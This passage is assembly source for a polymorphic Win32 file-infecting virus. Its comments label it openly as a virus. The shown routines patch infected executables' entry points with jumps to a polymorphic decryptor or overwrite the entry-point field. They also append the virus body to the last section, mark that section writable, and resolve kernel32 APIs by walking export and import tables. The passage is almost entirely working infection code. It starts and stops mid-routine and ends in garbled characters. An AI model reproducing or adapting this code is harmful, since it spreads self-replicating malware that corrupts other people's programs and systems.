                ;edi - Function name
                ;
                ;Exit:
                ;
                ;eax - RVA of function address (NULL if not found)
                ;

                ;Search for function name into IMAGE_IMPORT_BY_NAME
                ;structure pointed by every dword in the thunk data ar
ray

loop_by_name:   ;Get address of IMAGE_IMPORT_BY_NAME structure

                lodsd
                or eax,eax
                jz err_by_name

                ;Get pointer to function name

                push esi
                push edi
                sub eax,edx
                lea esi,dword ptr [eax+ebx+00000002h]

                ;Compare strings

name_by_name:   lodsb
                or al,al
                jz ok_by_name
                scasb
                je name_by_name

                ;Go to next entry into Import Address Table

                pop edi
                pop esi
                jmp loop_by_name

ok_by_name:     pop edi
                pop esi
                lea eax,dword ptr [esi-00000004h]
                sub eax,ebx
                add eax,edx
err_by_name:    ret

;······································································
······
;Infection and mutation
;······································································
······

infect_file:    ;
                ;Entry:
                ;
                ;My_FindData - Win32 FindFile structure filled with da
ta
                ;              about file to infect
                ;eax         - Base address of memory mapped image
                ;
                ;Exit:
                ;
                ;None
                ;

                ;Get last section header

                mov ebx,eax
                call get_last_sh

                ;ebx - Host base address
                ;esi - IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to last section header

                ;This will help us later for calculating host base add
ress

                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                add eax,dword ptr [edi+SH_VirtualAddress]
                sub eax,dword ptr [edi+SH_PointerToRawData]
                add eax,init_size
                mov dword ptr [ebp+fix_baseaddr+mem_size],eax

                ;Copy original code at entry point into our buffer

                mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
                mov dword ptr [ebp+rva_org_eip+mem_size],edx
                call RVA2RAW
                mov esi,ecx
                lea edi,dword ptr [ebp+entry_code+mem_size]
                mov ecx,BUFFER_EP
                rep movsb                
                
                ;Free memory mapped file

                mov eax,ebx
                call unmap_close

                ;Add virus size to file size and re-map it

                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                mov dword ptr [ebp+original_size],eax
                add eax,inf_size
                mov ecx,SIZE_PADDING
                xor edx,edx
                div ecx
                inc eax
                mul ecx
                mov dword ptr [ebp+my_FindData.WFD_nFileSizeLow],eax
                call open_map_file
                or eax,eax
                jnz done_re_open
                stc
                ret

done_re_open:   ;ebx - host base address all along the following code


                mov ebx,eax

                ;Initialize poly engine register table
                ;We are going to insert some garbage code at host
                ;entry-point, followed by a JMP to polymorphic
                ;decryptor
                ;This routine will also initialize random number
                ;generator

                call init_poly

                ;Check for relocations over entry-point code

                call get_last_sh
                mov edx,dword ptr [esi+OH_DataDirectory.        \
                                       DE_BaseReloc.            \
                                       DD_VirtualAddress]

                ;Lovely file, no relocations, so we cant generate
                ;lots of polymorphic code at host entry-point

                or edx,edx
                jz lovely_file

                call RVA2RAW
                mov edi,esi
                mov esi,ecx

                ;ebx - Host base address
                ;ecx - Pointer to RAW data or NULL if error
                ;edx - Section delta offset
                ;esi - Pointer to section RAWDATA
                ;edi - Pointer to IMAGE_OPTIONAL_HEADER

                ;Check relocations over host entry-point code

                call do_reloc_work

                ;We have space for inserting some garbage code?

                cmp eax,00000005h
                jb fuxoring_file

                ;Another lovely file, eh?

                cmp eax,BUFFER_EP
                jb ugly_file

lovely_file:    ;We reach this code for 3 posible reasons:
                ;
                ; 1) When the target file have no relocations or...
                ; 2) All the relocations are behind the entry-point or
...
                ; 3) We have lots space from entry-point to 1st reloc


                ;Save number of bytes to restore at host entry-point

                mov dword ptr [ebp+insert_size+mem_size],BUFFER_EP

                ;Get RAW of entry-point

                call get_last_sh
                mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
                call RVA2RAW
                mov edi,ecx

                ;Generate a piece of polymorphic code at host entry-po
int

                push ebx
                push edi
                call gen_garbage
                pop eax
                sub eax,edi
                pop ebx

                ;Insert a jump to virus code at entry point

                jmp short insert_jump

ugly_file:      ;There are no relocations over first five bytes of
                ;code at host entry-point
                ;So we can insert a JUMP to virus polymorphic decrypto
r

                ;Save size of code to generate

                mov dword ptr [ebp+insert_size+mem_size],00000005h

                ;Where to place the JUMP

                mov edx,dword ptr [edi+OH_AddressOfEntryPoint]
                call RVA2RAW
                mov edi,ecx
                xor eax,eax

                ;Insert a jump to virus code at entry point

insert_jump:    push eax
                mov al,0E9h
                stosb
                push edi
                call get_last_sh
                mov eax,dword ptr [ebp+original_size]
                add eax,poly_decryptor-Mem_Base
                sub eax,dword ptr [edi+SH_PointerToRawData]
                add eax,dword ptr [edi+SH_VirtualAddress]
                sub eax,dword ptr [esi+OH_AddressOfEntryPoint]
                sub eax,00000005h
                pop edi
                pop edx
                add eax,edx
                stosd

                ;Execution continues on next routine

;······································································
······
;Attach virus to file
;······································································
······

back2infection: ;We fall here after the entry-point stuff
                ;Complete infection and do polymorphic encryption
                                                                 
                ;Save current system time inside virus body

                lea eax,dword ptr [ebp+inf_time+mem_size]
                push eax
                call dword ptr [ebp+a_GetSysTime]

                ;Generate polymorphic encryption

                push ebx
                call mutate
                pop ebx

                ;Get pointer to last section

                call get_last_sh

                ;ebx - Host base address
                ;esi - IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to last section header

                ;Get new SizeOfRawData and VirtualSize

                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                add eax,mem_size-inf_size
                sub eax,dword ptr [edi+SH_PointerToRawData]
                mov edx,eax
                cmp eax,dword ptr [edi+SH_VirtualSize]
                jbe ok_VirtualSize
                mov dword ptr [edi+SH_VirtualSize],eax
ok_VirtualSize: mov eax,edx
                xor edx,edx
                mov ecx,dword ptr [esi+OH_FileAlignment]              
  
                div ecx
                inc eax
                mul ecx
                mov dword ptr [edi+SH_SizeOfRawData],eax

                ;Set section characteristics

                or dword ptr [edi+SH_Characteristics], \
                       IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

                ;Update OH_SizeOfImage

                mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                mov edx,dword ptr [esi+OH_SizeOfImage]               

                cmp eax,edx
                jae done_image_s
                lea eax,dword ptr [edx+mem_size]                
done_image_s:   xor edx,edx
                mov ecx,dword ptr [esi+OH_SectionAlignment]           
     
                div ecx
                inc eax
                mul ecx
                mov dword ptr [esi+OH_SizeOfImage],eax

                ;Write virus into memory mapped file

                mov ecx,inf_size
                lea esi,dword ptr [ebp+Mem_Base+mem_size]
                mov edi,ebx
                add edi,dword ptr [ebp+original_size]
                rep movsb

                ;Free memory mapped file

                mov eax,ebx
                call unmap_close

                ;Exit, file is infected

                clc
                ret

;······································································
······
;Get RAW of entry
;······································································
······

;······································································
······
;Change the entry-point field in file header
;······································································
······

fuxoring_file:  ;Well, after checking relocations for this file we
                ;found that there is a relocation over the first
                ;five bytes of host entry-point code

                ;Our buffer is ZERO bytes coz no code needs to be
                ;restored on host execution

                xor eax,eax
                mov dword ptr [ebp+insert_size+mem_size],eax

                ;Get the RVA for virus entry-point

                call get_last_sh
                mov eax,dword ptr [ebp+original_size]
                add eax,poly_decryptor-Mem_Base
                add eax,dword ptr [edi+SH_VirtualAddress]
                sub eax,dword ptr [edi+SH_PointerToRawData]

                ;Overwrite OH_AddressOfEntryPoint with the
                ;virus entry point

                mov dword ptr [esi+OH_AddressOfEntryPoint],eax
                jmp back2infection

;······································································
······
;Get pointer to last section header
;······································································
······

get_last_sh:    ;
                ;Entry:
                ;
                ;ebx - Host base address
                ;
                ;Exit:
                ;
                ;esi - IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to last section header
                ; 

                mov esi,dword ptr [ebx+DH_lfanew]
                add esi,ebx
                cld
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                dec ecx
                mov eax,IMAGE_SIZEOF_SECTION_HEADER
                mul ecx
                movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add eax,edx
                add eax,esi
                mov edi,eax
                ret

;······································································
······
;Convert RVA to RAW
;······································································
······

RVA2RAW:        ;
                ;Entry:
                ;
                ;ebx - Host base address
                ;edx - RVA to convert
                ;
                ;Exit:
                ;
                ;ecx - Pointer to RAW data or NULL if error
                ;edx - Section delta offset
                ;esi - Pointer to IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to section header
                ; 

                cld
                mov dword ptr [ebp+search_raw],edx
                mov esi,dword ptr [ebx+DH_lfanew]
                add esi,ebx
                lodsd
                movzx ecx,word ptr [esi+FH_NumberOfSections]
                jecxz err_RVA2RAW
                movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
                add esi,IMAGE_SIZEOF_FILE_HEADER
                add edi,esi

                ;Get the IMAGE_SECTION_HEADER that contains RVA
                ;
                ;At this point:
                ;
                ;ebx - File base address
                ;esi - Pointer to IMAGE_OPTIONAL_HEADER
                ;edi - Pointer to first section header
                ;ecx - Number of sections

s_img_section:                  
                ;Check if address of imports directory is inside this

                ;section

                mov eax,dword ptr [ebp+search_raw]
                mov edx,dword ptr [edi+SH_VirtualAddress]
                sub eax,edx
                cmp eax,dword ptr [edi+SH_VirtualSize]
                jb section_ok

out_of_section: ;Go to next section header

                add edi,IMAGE_SIZEOF_SECTION_HEADER
                loop s_img_section
err_RVA2RAW:    ret

section_ok:     ;Get raw

                mov ecx,dword ptr [edi+SH_PointerToRawData]
                sub edx,ecx
                add ecx,eax
                add ecx,ebx
                ret

;······································································
······
;Do needed relocation corrections over code at host entry-point
;······································································
······

do_reloc_work:  ;Entry:
                ;
                ;ebx - host base address
                ;esi - IMAGE_BASE_RELOCATION
                ;edi - IMAGE_OPTIONAL_HEADER
                ;
                ;Exit:
                ;
                ;ecx - Space free of relocations at entry-point
                ;      

                ;Get IBR_VirtualAddress

                cld
                lodsd
                mov edx,eax             

                ;Get IBR_SizeOfBlock

                lodsd                   
                or eax,eax
                jnz continue_reloc

                ;We have reached the last relocation and all of them
                ;seem to refer to virtual addresses behind the host
                ;entry-point, so we can generate lots of polymorphic
                ;code there

                xor ecx,ecx
                not ecx
                ret

continue_reloc: ;Get number of relocations in this block
                                                        
                sub eax,IMAGE_SIZEOF_BASE_RELOCATION
                shr eax,01h
                mov ecx,eax

rblock_loop:    ;Get IBR_TypeOffset

                push ecx
                xor eax,eax
                lodsw
                and ax,0FFFh
                add eax,edx
                cmp eax,dword ptr [edi+OH_AddressOfEntryPoint]
                jae reloc_over_ep

next_reloc:     ;Follow relocations chain

                pop ecx
                loop rblock_loop
                jmp short do_reloc_work

reloc_over_ep:  ;Get number of bytes from entry-point to first relocat
ion

                pop ecx
                sub eax,dword ptr [edi+OH_AddressOfEntryPoint]
                ret
                       
;······································································
······
;Get entry point for GetProcAddress
;······································································
······

my_GetProcAddr: ;
                ;Entry:
                ;
                ;a_Kernel32 - Base address for kernel32
                ;
                ;Exit:
                ;
                ;eax        - Entry point for GetProcAddress
                ;             or NULL if error
                ;

                push ebx

                ;Check for MZ signature at base address

                cld
                mov ebx,dword ptr [ebp+a_Kernel32]
                cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                jne e_GetProcAddr

                ;Now go to the pe header and check for the PE signatur
e

                mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew]
                add esi,ebx
                lodsd
                cmp eax,IMAGE_NT_SIGNATURE
                jne e_GetProcAddr

                ;Get pointer to Image Export Directory and save it

                add esi,NT_OptionalHeader.      \
                        OH_DirectoryEntries.    \
                        DE_Export.              \
                        DD_VirtualAddress-0004h
                lodsd
                add eax,ebx
                push eax

                ;Get pointer to exported function names
                ;Also follow the AddressOfNameOrdinals array

                mov ecx,dword ptr [eax+ED_NumberOfNames]
                mov edx,dword ptr [eax+ED_AddressOfNameOrdinals]
                add edx,ebx
                lea esi,dword ptr [eax+ED_AddressOfNames]
                lodsd
                add eax,ebx                

next_name:      ;Search for GetProcAddress in exported function names


                push ecx
                lea esi,dword ptr [ebp+szGetProcAddr]
                mov edi,dword ptr [eax]
                or edi,edi
                jz try_next

got_name_rva:   ;Get absolute address

                add edi,ebx

                ;Compare names

                mov ecx,0000000Eh
                repe cmpsb
                je found_name

try_next:       ;Go to next name

                add eax,00000004h
                add edx,00000002h
                pop ecx
                loop next_name
                
                ;Name not found, exit with error

                pop eax
                jmp short e_GetProcAddr

found_name:     ;Ok, now edx is the index of the function, so
                ;lets look at AddressOfNameOrdinals using that index

                pop ecx
                pop edi

                ;Get ordinal for function

                movzx eax,word ptr [edx]

                ;Check if ordinal out of range

                cmp eax,[edi+ED_NumberOfFunctions]
                jae short e_GetProcAddr

                ;This is the starting export ordinal number

                sub eax,dword ptr [edi+ED_BaseOrdinal]
                inc eax
                shl eax,02h

                ;Get address of function

                mov esi,dword ptr [edi+ED_AddressOfFunctions]
                add esi,eax
                add esi,ebx
                lodsd
                add eax,ebx
                pop ebx
                ret

e_GetProcAddr:  ;GetProcAddress not found, exit with error

                xor eax,eax
                pop ebx
                ret

;······································································
······
;Get KERNEL32 module handle if we cant get it using GetModuleHandle
;······································································
······

my_getkernel:   ;Get KERNEL32 base address using the ID_ForwarderChain

                ;
                ;Entry:
                ;
                ;ebx - Base address of host in memory
                ;
                ;Exit:
                ;
                ;eax - Kernel32 base address or NULL if error
                ;

                ;Generate a mov esi,xxxx instruction

                db 0BEh

                ;This is just a rva that points to ID_ForwarderChain
                ;field inside Kernel32 import module descriptor

rva_kernel32    dd 00000000h

                ;Get Kernel32 entry point from ID_ForwarderChain

                add esi,ebx
                lodsd

                ;Check for the MZ signature

                cmp word ptr [eax],IMAGE_DOS_SIGNATURE
                jne err_getkernel

                ;Now go to the pe header and check for the PE signatur
e

                mov esi,dword ptr [eax+DH_lfanew]
                cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE
                jne err_getkernel

                ret

err_getkernel:  ;Could not find KERNEL32 base addres :(

                xor eax,eax
                ret

;······································································
······
;Get APIs entry point
;······································································
······

get_functions:  ;Get the entry point for all KERNEL32 API functions
                ;used by the virus
                ;
                ;Entry:
                ;
                ;None
                ;
                ;Exit:
                ;
                ;ecx - NULL if error
                ;

                ;Dont fuck our host base address

                push ebx

                ;Get pointer to viral function names

                lea esi,dword ptr [ebp+viral_functions]
                lea edi,dword ptr [ebp+viral_addresses]

                ;Get number of functions

                mov ecx,(offset viral_tbl_end-offset viral_functions)/
04h

get_each_ep:    ;Get pointer to function name

                cld
                lodsd
                add eax,ebp

                ;Save counter and pointers

                push ecx
                push esi
                push edi

                ;Get entry point using GetProcAddress

                push eax
                push dword ptr [ebp+a_Kernel32]
                call dword ptr [ebp+a_GetProcAddr]

                ;Restore counter and pointers

                pop edi

[¹Ø±Õ][·µ»Ø]